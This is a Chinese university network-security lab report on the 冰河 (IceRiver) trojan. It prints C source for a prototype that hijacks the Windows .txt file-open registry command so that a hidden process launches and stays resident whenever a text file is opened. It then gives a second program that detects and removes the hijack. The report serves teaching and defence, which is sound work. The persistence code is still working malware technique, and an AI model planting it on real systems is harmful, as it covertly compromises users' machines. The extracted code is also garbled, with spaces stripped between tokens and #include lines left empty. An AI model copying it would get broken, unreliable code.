网络安全技术实验二程序内存驻留与木马原型.docx
- 文档编号:10927339
- 上传时间:2023-05-28
- 格式:DOCX
- 页数:12
- 大小:95.15KB
网络安全技术实验二程序内存驻留与木马原型.docx
《网络安全技术实验二程序内存驻留与木马原型.docx》由会员分享,可在线阅读,更多相关《网络安全技术实验二程序内存驻留与木马原型.docx(12页珍藏版)》请在冰点文库上搜索。
网络安全技术实验二程序内存驻留与木马原型
网络安全技术实验二_程序内存驻留与木马原型
沈阳工程学院
学生实验报告
实验室名称:
信息学院网络安全实验室
实验课程名称:
网络安全技术
实验项目名称:
实验二程序内存驻留与木马原型
班级:
姓名:
学号:
实验日期:
2014年3月21日实验台编号:
34
指导教师:
批阅教师(签字):
成绩:
一.实验目的
理解内存驻留程序,编写程序实现内存驻留;
理解“冰河”原型木马,编写程序实现简单的木马。
二.实验内容
编程实现:
“冰河”原型;
编程判断是否中了“冰河”原型木马,并能查杀木马。
三.实验原理
“冰河“木马开发于1999年,在设计之初,开发者的本意是编写一个功能强大的远程控制软件。
但一经推出,就依靠其强大的功能成为了黑客们发动入侵的工具,并结束了国外木马一统天下的局面,成为国产木马的标志和代名词。
在2006年之前,冰河在国内一直是不可动摇的领军木马,在国内没用过冰河的人等于没用过木马,由此可见冰河木马在国内的影响力之巨大。
1)自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);
2)记录各种口令信息:
包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;
3)获取系统信息:
包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;
4)限制系统功能:
包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能限制;
5)远程文件操作:
包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览文本文件、远程打开文件(提供了四中不同的打开方式——正常方式、最大化、最小化和隐藏方式)等多项文件操作功能;
6)注册表操作:
包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能;
7)发送信息:
以四种常用图标向被控端发送简短信息;
8)点对点通讯:
以聊天室形式同被控端进行在线交谈。
从一定程度上可以说冰河是最有名的木马了,就连刚接触电脑的用户也听说过它。
虽然许多杀毒软件可以查杀它,但国内仍有几十万中冰河的电脑存在!
作为木马,冰河创造了最多人使用、最多人中弹的奇迹!
四.实验软硬件环境
虚拟机中windows2000环境。
五.实验步骤
第一步:
“冰河”木马的文本文件关联
采用“冰河”将自己与文本文件的打开方式相关联的方法实现植入“冰河”。
关联的方法就是使用注册表“HKEY_CLASSES_ROOT”主键下的“txtfile\shell\open\command”键。
程序要实现的功能是:
当用户双击打开一个文本文件,先启动要驻留的程序,然后再启动记事本打开这个文本文件。
这包括两方面内容,一是编程修改注册表,二是编程实现程序自动驻留。
运行本程序前,请先确定系统是否中了“冰河”。
有查看注册表内容和程序两种判断方式。
分别如图1和图2所示。
图1通过注册表判断未中“冰河”
图2通过程序判断未中“冰河”
【程序源代码】
#include
#include
//结构WNDCLASS包含一个窗口类的全部信息
WNDCLASSwc;
HWNDh_wnd;
MSGmsg;
//冰河木马修改注册表函数IceRiverEditReg声明
boolIceRiverEditReg(void);
//消息处理函数wndProc的声明
longWINAPIWindowProc(HWND,UINT,WPARAM,LPARAM);
//winMain函数的功能是被系统调用,作为一个32位应用程序的入口点。
intPASCALWinMain(HINSTANCEh_CurInstance,
HINSTANCEh_PrevInstance,LPSTRp_CmdLine,intm_Show)
{
//修改注册表
boolbRegEditFlag=IceRiverEditReg();
//以下被注释的代码为判定注册表是否修改成功
/*if(bRegEditFlag==true)
MessageBox(NULL,"注册表修改成功!
","",MB_OK);*/
//bSsuccess用于保存CreateProcess函数返回值
BOOLbSuccess;
//PROCESS_INFORMATION结构返回有关新进程及其主线程的信息。
PROCESS_INFORMATIONpiProcInfo;
//STARTUPINFO结构用于指定新进程的主窗口特性。
STARTUPINFOInfo;
//以下为Info的相关成员,详见MSDN
Info.cb=sizeof(STARTUPINFO);
Info.lpReserved=NULL;
Info.lpDesktop=NULL;
Info.lpTitle=NULL;
Info.cbReserved2=0;
Info.lpReserved2=NULL;
//lpAppName用来保存双击打开的txt文件的绝对路径,并在之前添加命令
//notepad.exe,其目标形式如:
notepad.exec:
\abc.txt
charlpAppName[100];
strcpy(lpAppName,"notepad.exe");
//MessageBox(NULL,lpAppName,"",MB_OK);
if(strcmp(p_CmdLine,"")!
=0)
strcat(lpAppName,p_CmdLine);
MessageBox(NULL,lpAppName,"",MB_OK);
//WIN32API函数CreateProcess用来创建一个新的进程和它的主线程,这个新
//进程运行指定的可执行文件。
在此为创建进程notepad.exe
bSuccess=CreateProcess(NULL,lpAppName,NULL,NULL,false,NULL,
NULL,NULL,&Info,&piProcInfo);
//初始化wndclass结构变量
wc.lpfnWndProc=WindowProc;
wc.hInstance=h_CurInstance;
wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
wc.lpszClassName="TheMainClass";
//注册WndClass结构变量
RegisterClass(&wc);
//创建窗口
h_wnd=CreateWindow("TheMainClass","OurfirstWindow",
WS_OVERLAPPEDWINDOW,0,0,400,500,0,0,h_CurInstance,0);
//显示窗口
ShowWindow(h_wnd,SW_HIDE);
//消息循环
while(GetMessage(&msg,NULL,0,0))
DispatchMessage(&msg);
return(msg.wParam);
}
//定义消息处理函数
longWINAPIWindowProc(HWNDh_wnd,UINTWinMsg,
WPARAMw_param,LPARAMl_param)
{
switch(WinMsg)
{
caseWM_DESTROY:
//PostQuitMessage函数向系统表明有个线程有终止请求
PostQuitMessage(0);
return0;
}
//DefWindowProc为应用程序没有处理的任何窗口消息提供缺省的处理
returnDefWindowProc(h_wnd,WinMsg,w_param,l_param);
}
//IceRiverEditReg函数用于修改注册表HKEY_CLASSES_ROOT
//\\txtfile\\shell\\open\\command健值,将其修改为:
//"C:
\\IceRiver\\Debug\\IceRiver.exe%1",修改成功则返回true,
//失败则返回false
boolIceRiverEditReg(void)
{
HKEYhKey1;
LONGlRetCode;
lRetCode=RegOpenKeyEx(HKEY_CLASSES_ROOT,
"txtfile\\shell\\open\\command",0,KEY_WRITE,&hKey1);
if(lRetCode!
=ERROR_SUCCESS)
{
returnfalse;
}
lRetCode=RegSetValueEx(hKey1,
"",0,REG_EXPAND_SZ,
(byte*)"C:
\\IceRiver\\Debug\\IceRiver.exe%1",50);
if(lRetCode!
=ERROR_SUCCESS)
{
returnfalse;
}
returntrue;
}
编译运行程序后,对应位置注册表健值被修改,如图3所示。
图3植入“冰河”后注册表被修改
将编译好的可执行文件改名为“IceRiver.exe”,并把“IceRiver.exe”拷贝到虚拟机操作系统的“C:
\IceRiver\Debug\”目录中,之后打开任一后缀为.txt的文本文件,通过任务管理器中进程的变化,可以发现打开txt文件的同时,除了添加NOTEPAD.exe进程外还添加了IceRiver.exe进程。
关闭txt文件后,我们可以发现进程NOTEPAD.exe被关闭,但是IceRiver.exe进程依旧存在,这就达到了程序自动驻留的目的。
双击txt文件后后台运行的命令,如图4所示。
图4双击txt文件时提示后台命令
第二步:
查杀“冰河”木马
查杀“冰河”木马程序源代码如下:
#include
#include
#include
//常量字符指针RegValue指向字符串"%SystemRoot%\\system32\\NOTEPAD.EXE%1",
constchar*RegValue="%SystemRoot%\\system32\\NOTEPAD.EXE%1";
//声明有效路径获取函数GetValidPath
char*GetValidPath(char*GetPath);
//声明删除关联函数DeleteConnection
voidDeleteConnection(char*DelPath);
//声明注册表恢复函数RecoverReg
voidRecoverReg(HKEYKey,LONGRetCode);
intmain(void)
{
//获取注册表HKEY_CLASSES_ROOT,\\txtfile\\shell\\open\\command健值
HKEYhKEY;
LPCTSTRdata_Set="txtfile\\shell\\open\\command";
longret0=(RegOpenKeyEx(HKEY_CLASSES_ROOT,
data_Set,0,KEY_READ,&hKEY));
//如果无法打开hKEY,则终止程序的执行
if(ret0!
=ERROR_SUCCESS)
{
return0;
}
//如没被修改时为:
//"%SystemRoot%\\system32\\NOTEPAD.EXE%1"
LPBYTEowner_Get=newBYTE[80];
DWORDtype_1=REG_EXPAND_SZ;
DWORDcbData_1=80;
longret1=RegQueryValueEx(hKEY,NULL,NULL,
&type_1,owner_Get,&cbData_1);
if(ret1!
=ERROR_SUCCESS)
{
return0;
}
//判断对应健值是否被修改,即判断是否中了冰河
if(strcmp((constchar*)owner_Get,RegValue)==0)
printf("没有中冰河\n");
else
{
printf("可能中了冰河\n");
char*path=(char*)owner_Get;
path=GetValidPath(path);
DeleteConnection(path);
RecoverReg(hKEY,ret1);
}
}
//获取注册表HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command
//健值表示的有效路径。
如若键值为//"%SystemRoot%\\system32\\NOTEPAD.EXE%1",
//则函数返回的指针指向"%SystemRoot%\\system32\\NOTEPAD.EXE"
char*GetValidPath(char*GetPath)
{
intlen=strlen(GetPath);
printf("pathvalue:
%s\nlen:
%d\n",GetPath,len);
//由于键值的最后三个字符为"%1"导致键值不是有效路径,因此,将倒数第三个
//字符(空格)赋值为字符结束标志'\0'
*(GetPath+(len-3)*sizeof(char))='\0';
printf("%s\n",GetPath);
returnGetPath;
}
//删除关联文件,若删除成功则提示注意查看,若删除失败,则提示删除失败
voidDeleteConnection(char*DelPath)
{
if(DeleteFile(DelPath)!
=0)
printf("DeleteFilesucceeded!
Pleaseexamineintime!
\n");
else
{
printf("DeleteFileFailed!
\n");
printf("LastError:
%d\n",GetLastError());
}
}
//恢复注册表,将对应健值赋为"%SystemRoot%\\system32\\NOTEPAD.EXE%1"
voidRecoverReg(HKEYKey,LONGRetCode)
{
LPCTSTRdata_Set="txtfile\\shell\\open\\command";
longret0=(RegOpenKeyEx(HKEY_CLASSES_ROOT,
data_Set,0,KEY_WRITE,&Key));
RetCode=RegSetValueEx(Key,
"",0,REG_EXPAND_SZ,
(byte*)RegValue,50);
if(RetCode!
=ERROR_SUCCESS)
printf("注册表恢复失败!
\n");
else
printf("注册表恢复成功!
\n");
}
程序运行结果如图5所示,可以看出删除关联文件前后其所在文件夹的变化,如图6所示,注册表也会恢复,如图7所示。
另外,有一点必须说明的是,在运行此程序前,请保证进程IceRiver.exe已关闭,否则会出现无法删除关联文件的情况,因为此时文件正在运行,拒绝访问,如图8所示。
可以通过任务管理器窗口关闭该进程,或者通过编程实现,在此使用第一种方法。
图5修复“冰河”带来的系统变化
图6关联文件所在文件夹变化
图7注册表恢复
图8无法删除关联文件
教
师
评
语
教师签名:
年月日
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 网络安全 技术 实验 程序 内存 驻留 木马 原型